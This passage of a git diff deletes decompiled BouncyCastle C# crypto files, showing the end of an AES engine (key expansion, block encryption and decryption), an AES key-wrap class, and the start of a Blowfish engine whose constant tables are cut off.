(r >> shift) | (r << 32 - shift); - } - - private static uint FFmulX(uint x) - { - return ((x & 0x7F7F7F7F) << 1) ^ (((x & 0x80808080u) >> 7) * 27); - } - - private static uint FFmulX2(uint x) - { - uint num = (x & 0x3F3F3F3F) << 2; - uint num2 = x & 0xC0C0C0C0u; - num2 ^= num2 >> 1; - return num ^ (num2 >> 2) ^ (num2 >> 5); - } - - private static uint Mcol(uint x) - { - uint num = Shift(x, 8); - uint num2 = x ^ num; - return Shift(num2, 16) ^ num ^ FFmulX(num2); - } - - private static uint Inv_Mcol(uint x) - { - uint num = x; - uint num2 = num ^ Shift(num, 8); - num ^= FFmulX(num2); - num2 ^= FFmulX2(num); - return num ^ (num2 ^ Shift(num2, 16)); - } - - private static uint SubWord(uint x) - { - return (uint)(S[x & 0xFF] | (S[(x >> 8) & 0xFF] << 8) | (S[(x >> 16) & 0xFF] << 16) | (S[(x >> 24) & 0xFF] << 24)); - } - - private uint[][] GenerateWorkingKey(byte[] key, bool forEncryption) - { - int num = key.Length; - if (num < 16 || num > 32 || (num & 7) != 0) - { - throw new ArgumentException("Key length not 128/192/256 bits."); - } - int num2 = num >> 2; - ROUNDS = num2 + 6; - uint[][] array = new uint[ROUNDS + 1][]; - for (int i = 0; i <= ROUNDS; i++) - { - array[i] = new uint[4]; - } - switch (num2) - { - case 4: - { - uint num21 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num21; - uint num22 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num22; - uint num23 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num23; - uint num24 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num24; - for (int l = 1; l <= 10; l++) - { - uint num25 = SubWord(Shift(num24, 8)) ^ rcon[l - 1]; - num21 ^= num25; - array[l][0] = num21; - num22 ^= num21; - array[l][1] = num22; - num23 ^= num22; - array[l][2] = num23; - num24 ^= num23; - array[l][3] = num24; - } - break; - } - case 6: - { - uint num13 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num13; - uint num14 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num14; - uint num15 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num15; - uint num16 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num16; - uint num17 = Pack.LE_To_UInt32(key, 16); - array[1][0] = num17; - uint num18 = Pack.LE_To_UInt32(key, 20); - array[1][1] = num18; - uint num19 = 1u; - uint num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[1][2] = num13; - num14 ^= num13; - array[1][3] = num14; - num15 ^= num14; - array[2][0] = num15; - num16 ^= num15; - array[2][1] = num16; - num17 ^= num16; - array[2][2] = num17; - num18 ^= num17; - array[2][3] = num18; - for (int k = 3; k < 12; k += 3) - { - num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[k][0] = num13; - num14 ^= num13; - array[k][1] = num14; - num15 ^= num14; - array[k][2] = num15; - num16 ^= num15; - array[k][3] = num16; - num17 ^= num16; - array[k + 1][0] = num17; - num18 ^= num17; - array[k + 1][1] = num18; - num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[k + 1][2] = num13; - num14 ^= num13; - array[k + 1][3] = num14; - num15 ^= num14; - array[k + 2][0] = num15; - num16 ^= num15; - array[k + 2][1] = num16; - num17 ^= num16; - array[k + 2][2] = num17; - num18 ^= num17; - array[k + 2][3] = num18; - } - num20 = SubWord(Shift(num18, 8)) ^ num19; - num13 ^= num20; - array[12][0] = num13; - num14 ^= num13; - array[12][1] = num14; - num15 ^= num14; - array[12][2] = num15; - num16 ^= num15; - array[12][3] = num16; - break; - } - case 8: - { - uint num3 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num3; - uint num4 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num4; - uint num5 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num5; - uint num6 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num6; - uint num7 = Pack.LE_To_UInt32(key, 16); - array[1][0] = num7; - uint num8 = Pack.LE_To_UInt32(key, 20); - array[1][1] = num8; - uint num9 = Pack.LE_To_UInt32(key, 24); - array[1][2] = num9; - uint num10 = Pack.LE_To_UInt32(key, 28); - array[1][3] = num10; - uint num11 = 1u; - uint num12; - for (int j = 2; j < 14; j += 2) - { - num12 = SubWord(Shift(num10, 8)) ^ num11; - num11 <<= 1; - num3 ^= num12; - array[j][0] = num3; - num4 ^= num3; - array[j][1] = num4; - num5 ^= num4; - array[j][2] = num5; - num6 ^= num5; - array[j][3] = num6; - num12 = SubWord(num6); - num7 ^= num12; - array[j + 1][0] = num7; - num8 ^= num7; - array[j + 1][1] = num8; - num9 ^= num8; - array[j + 1][2] = num9; - num10 ^= num9; - array[j + 1][3] = num10; - } - num12 = SubWord(Shift(num10, 8)) ^ num11; - num3 ^= num12; - array[14][0] = num3; - num4 ^= num3; - array[14][1] = num4; - num5 ^= num4; - array[14][2] = num5; - num6 ^= num5; - array[14][3] = num6; - break; - } - default: - throw new InvalidOperationException("Should never get here"); - } - if (!forEncryption) - { - for (int m = 1; m < ROUNDS; m++) - { - uint[] array2 = array[m]; - for (int n = 0; n < 4; n++) - { - array2[n] = Inv_Mcol(array2[n]); - } - } - } - return array; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter keyParameter)) - { - throw new ArgumentException("invalid parameter passed to AES init - " + Platform.GetTypeName(parameters)); - } - WorkingKey = GenerateWorkingKey(keyParameter.GetKey(), forEncryption); - this.forEncryption = forEncryption; - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (WorkingKey == null) - { - throw new InvalidOperationException("AES engine not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - UnPackBlock(input, inOff); - if (forEncryption) - { - EncryptBlock(WorkingKey); - } - else - { - DecryptBlock(WorkingKey); - } - PackBlock(output, outOff); - return 16; - } - - public virtual void Reset() - { - } - - private void UnPackBlock(byte[] bytes, int off) - { - C0 = Pack.LE_To_UInt32(bytes, off); - C1 = Pack.LE_To_UInt32(bytes, off + 4); - C2 = Pack.LE_To_UInt32(bytes, off + 8); - C3 = Pack.LE_To_UInt32(bytes, off + 12); - } - - private void PackBlock(byte[] bytes, int off) - { - Pack.UInt32_To_LE(C0, bytes, off); - Pack.UInt32_To_LE(C1, bytes, off + 4); - Pack.UInt32_To_LE(C2, bytes, off + 8); - Pack.UInt32_To_LE(C3, bytes, off + 12); - } - - private void EncryptBlock(uint[][] KW) - { - uint[] array = KW[0]; - uint num = C0 ^ array[0]; - uint num2 = C1 ^ array[1]; - uint num3 = C2 ^ array[2]; - uint num4 = C3 ^ array[3]; - int num5 = 1; - uint num6; - uint num7; - uint num8; - while (num5 < ROUNDS - 1) - { - array = KW[num5++]; - num6 = Mcol((uint)(S[num & 0xFF] ^ (S[(num2 >> 8) & 0xFF] << 8) ^ (S[(num3 >> 16) & 0xFF] << 16) ^ (S[(num4 >> 24) & 0xFF] << 24))) ^ array[0]; - num7 = Mcol((uint)(S[num2 & 0xFF] ^ (S[(num3 >> 8) & 0xFF] << 8) ^ (S[(num4 >> 16) & 0xFF] << 16) ^ (S[(num >> 24) & 0xFF] << 24))) ^ array[1]; - num8 = Mcol((uint)(S[num3 & 0xFF] ^ (S[(num4 >> 8) & 0xFF] << 8) ^ (S[(num >> 16) & 0xFF] << 16) ^ (S[(num2 >> 24) & 0xFF] << 24))) ^ array[2]; - num4 = Mcol((uint)(S[num4 & 0xFF] ^ (S[(num >> 8) & 0xFF] << 8) ^ (S[(num2 >> 16) & 0xFF] << 16) ^ (S[(num3 >> 24) & 0xFF] << 24))) ^ array[3]; - array = KW[num5++]; - num = Mcol((uint)(S[num6 & 0xFF] ^ (S[(num7 >> 8) & 0xFF] << 8) ^ (S[(num8 >> 16) & 0xFF] << 16) ^ (S[(num4 >> 24) & 0xFF] << 24))) ^ array[0]; - num2 = Mcol((uint)(S[num7 & 0xFF] ^ (S[(num8 >> 8) & 0xFF] << 8) ^ (S[(num4 >> 16) & 0xFF] << 16) ^ (S[(num6 >> 24) & 0xFF] << 24))) ^ array[1]; - num3 = Mcol((uint)(S[num8 & 0xFF] ^ (S[(num4 >> 8) & 0xFF] << 8) ^ (S[(num6 >> 16) & 0xFF] << 16) ^ (S[(num7 >> 24) & 0xFF] << 24))) ^ array[2]; - num4 = Mcol((uint)(S[num4 & 0xFF] ^ (S[(num6 >> 8) & 0xFF] << 8) ^ (S[(num7 >> 16) & 0xFF] << 16) ^ (S[(num8 >> 24) & 0xFF] << 24))) ^ array[3]; - } - array = KW[num5++]; - num6 = Mcol((uint)(S[num & 0xFF] ^ (S[(num2 >> 8) & 0xFF] << 8) ^ (S[(num3 >> 16) & 0xFF] << 16) ^ (S[(num4 >> 24) & 0xFF] << 24))) ^ array[0]; - num7 = Mcol((uint)(S[num2 & 0xFF] ^ (S[(num3 >> 8) & 0xFF] << 8) ^ (S[(num4 >> 16) & 0xFF] << 16) ^ (S[(num >> 24) & 0xFF] << 24))) ^ array[1]; - num8 = Mcol((uint)(S[num3 & 0xFF] ^ (S[(num4 >> 8) & 0xFF] << 8) ^ (S[(num >> 16) & 0xFF] << 16) ^ (S[(num2 >> 24) & 0xFF] << 24))) ^ array[2]; - num4 = Mcol((uint)(S[num4 & 0xFF] ^ (S[(num >> 8) & 0xFF] << 8) ^ (S[(num2 >> 16) & 0xFF] << 16) ^ (S[(num3 >> 24) & 0xFF] << 24))) ^ array[3]; - array = KW[num5]; - C0 = (uint)(S[num6 & 0xFF] ^ (S[(num7 >> 8) & 0xFF] << 8) ^ (S[(num8 >> 16) & 0xFF] << 16) ^ (S[(num4 >> 24) & 0xFF] << 24)) ^ array[0]; - C1 = (uint)(S[num7 & 0xFF] ^ (S[(num8 >> 8) & 0xFF] << 8) ^ (S[(num4 >> 16) & 0xFF] << 16) ^ (S[(num6 >> 24) & 0xFF] << 24)) ^ array[1]; - C2 = (uint)(S[num8 & 0xFF] ^ (S[(num4 >> 8) & 0xFF] << 8) ^ (S[(num6 >> 16) & 0xFF] << 16) ^ (S[(num7 >> 24) & 0xFF] << 24)) ^ array[2]; - C3 = (uint)(S[num4 & 0xFF] ^ (S[(num6 >> 8) & 0xFF] << 8) ^ (S[(num7 >> 16) & 0xFF] << 16) ^ (S[(num8 >> 24) & 0xFF] << 24)) ^ array[3]; - } - - private void DecryptBlock(uint[][] KW) - { - uint[] array = KW[ROUNDS]; - uint num = C0 ^ array[0]; - uint num2 = C1 ^ array[1]; - uint num3 = C2 ^ array[2]; - uint num4 = C3 ^ array[3]; - int num5 = ROUNDS - 1; - uint num6; - uint num7; - uint num8; - while (num5 > 1) - { - array = KW[num5--]; - num6 = Inv_Mcol((uint)(Si[num & 0xFF] ^ (Si[(num4 >> 8) & 0xFF] << 8) ^ (Si[(num3 >> 16) & 0xFF] << 16) ^ (Si[(num2 >> 24) & 0xFF] << 24))) ^ array[0]; - num7 = Inv_Mcol((uint)(Si[num2 & 0xFF] ^ (Si[(num >> 8) & 0xFF] << 8) ^ (Si[(num4 >> 16) & 0xFF] << 16) ^ (Si[(num3 >> 24) & 0xFF] << 24))) ^ array[1]; - num8 = Inv_Mcol((uint)(Si[num3 & 0xFF] ^ (Si[(num2 >> 8) & 0xFF] << 8) ^ (Si[(num >> 16) & 0xFF] << 16) ^ (Si[(num4 >> 24) & 0xFF] << 24))) ^ array[2]; - num4 = Inv_Mcol((uint)(Si[num4 & 0xFF] ^ (Si[(num3 >> 8) & 0xFF] << 8) ^ (Si[(num2 >> 16) & 0xFF] << 16) ^ (Si[(num >> 24) & 0xFF] << 24))) ^ array[3]; - array = KW[num5--]; - num = Inv_Mcol((uint)(Si[num6 & 0xFF] ^ (Si[(num4 >> 8) & 0xFF] << 8) ^ (Si[(num8 >> 16) & 0xFF] << 16) ^ (Si[(num7 >> 24) & 0xFF] << 24))) ^ array[0]; - num2 = Inv_Mcol((uint)(Si[num7 & 0xFF] ^ (Si[(num6 >> 8) & 0xFF] << 8) ^ (Si[(num4 >> 16) & 0xFF] << 16) ^ (Si[(num8 >> 24) & 0xFF] << 24))) ^ array[1]; - num3 = Inv_Mcol((uint)(Si[num8 & 0xFF] ^ (Si[(num7 >> 8) & 0xFF] << 8) ^ (Si[(num6 >> 16) & 0xFF] << 16) ^ (Si[(num4 >> 24) & 0xFF] << 24))) ^ array[2]; - num4 = Inv_Mcol((uint)(Si[num4 & 0xFF] ^ (Si[(num8 >> 8) & 0xFF] << 8) ^ (Si[(num7 >> 16) & 0xFF] << 16) ^ (Si[(num6 >> 24) & 0xFF] << 24))) ^ array[3]; - } - array = KW[1]; - num6 = Inv_Mcol((uint)(Si[num & 0xFF] ^ (Si[(num4 >> 8) & 0xFF] << 8) ^ (Si[(num3 >> 16) & 0xFF] << 16) ^ (Si[(num2 >> 24) & 0xFF] << 24))) ^ array[0]; - num7 = Inv_Mcol((uint)(Si[num2 & 0xFF] ^ (Si[(num >> 8) & 0xFF] << 8) ^ (Si[(num4 >> 16) & 0xFF] << 16) ^ (Si[(num3 >> 24) & 0xFF] << 24))) ^ array[1]; - num8 = Inv_Mcol((uint)(Si[num3 & 0xFF] ^ (Si[(num2 >> 8) & 0xFF] << 8) ^ (Si[(num >> 16) & 0xFF] << 16) ^ (Si[(num4 >> 24) & 0xFF] << 24))) ^ array[2]; - num4 = Inv_Mcol((uint)(Si[num4 & 0xFF] ^ (Si[(num3 >> 8) & 0xFF] << 8) ^ (Si[(num2 >> 16) & 0xFF] << 16) ^ (Si[(num >> 24) & 0xFF] << 24))) ^ array[3]; - array = KW[0]; - C0 = (uint)(Si[num6 & 0xFF] ^ (Si[(num4 >> 8) & 0xFF] << 8) ^ (Si[(num8 >> 16) & 0xFF] << 16) ^ (Si[(num7 >> 24) & 0xFF] << 24)) ^ array[0]; - C1 = (uint)(Si[num7 & 0xFF] ^ (Si[(num6 >> 8) & 0xFF] << 8) ^ (Si[(num4 >> 16) & 0xFF] << 16) ^ (Si[(num8 >> 24) & 0xFF] << 24)) ^ array[1]; - C2 = (uint)(Si[num8 & 0xFF] ^ (Si[(num7 >> 8) & 0xFF] << 8) ^ (Si[(num6 >> 16) & 0xFF] << 16) ^ (Si[(num4 >> 24) & 0xFF] << 24)) ^ array[2]; - C3 = (uint)(Si[num4 & 0xFF] ^ (Si[(num8 >> 8) & 0xFF] << 8) ^ (Si[(num7 >> 16) & 0xFF] << 16) ^ (Si[(num6 >> 24) & 0xFF] << 24)) ^ array[3]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesWrapEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesWrapEngine.cs deleted file mode 100644 index 91b5c14..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesWrapEngine.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Engines; - -public class AesWrapEngine : Rfc3394WrapEngine -{ - public AesWrapEngine() - : base(new AesEngine()) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/BlowfishEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/BlowfishEngine.cs deleted file mode 100644 index 3b7bb67..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/BlowfishEngine.cs +++ /dev/null @@ -1,296 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public sealed class BlowfishEngine : IBlockCipher -{ - private const int BLOCK_SIZE = 8; - - private static readonly uint[] KP = new uint[18] - { - 608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u, - 3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u - }; - - private static readonly uint[] KS0 = new uint[256] - { - 3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u, - 134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u, - 2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u, - 1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u, - 1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u, - 3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u, - 1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u, - 258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u, - 1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u, - 1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u, - 1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u, - 634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u, - 1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u, - 1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u, - 1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u, - 1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u, - 1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u, - 3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u, - 2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u, - 2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u, - 3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u, - 2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u, - 2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u, - 545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u, - 3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u, - 4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u - }; - - private static readonly uint[] KS1 = new uint[256] - { - 1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u, - 1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u, - 2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u, - 1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u, - 2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u, - 2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u, - 3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u, - 1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u, - 2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u, - 3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u, - 70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u, - 2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u, - 3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u, - 3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u, - 4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u, - 53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u, - 1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u, - 2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u, - 1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u, - 4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u, - 3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u, - 4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u, - 1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u, - 1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u, - 2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u, - 1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u - }; - - private static readonly uint[] KS2 = new uint[256] - { - 3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u, - 1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u, - 3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u, - 170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u, - 2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u, - 648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u, - 1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u, - 1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u, - 133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u, - 3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u, - 2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u, - 3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u, - 3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u, - 2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u, - 1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u, - 1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u, - 2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u, - 2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u, - 1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u, - 2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u, - 3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u, - 2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u, - 4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u, - 3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u, - 3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u, - 908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u - }; - - private static readonly uint[] KS3 = new uint[256] - { - 976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u, - 3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u, - 1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u, - 1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u, - 673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u, - 2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u, - 530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u, - 4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u, - 3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u, - 55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u, - 3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u, - 1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u, - 3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u, - 2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u, - 3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u, - 3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u, - 445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u, - 4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u, - 3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u, - 3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u, - 3847019092u, 517658769u, 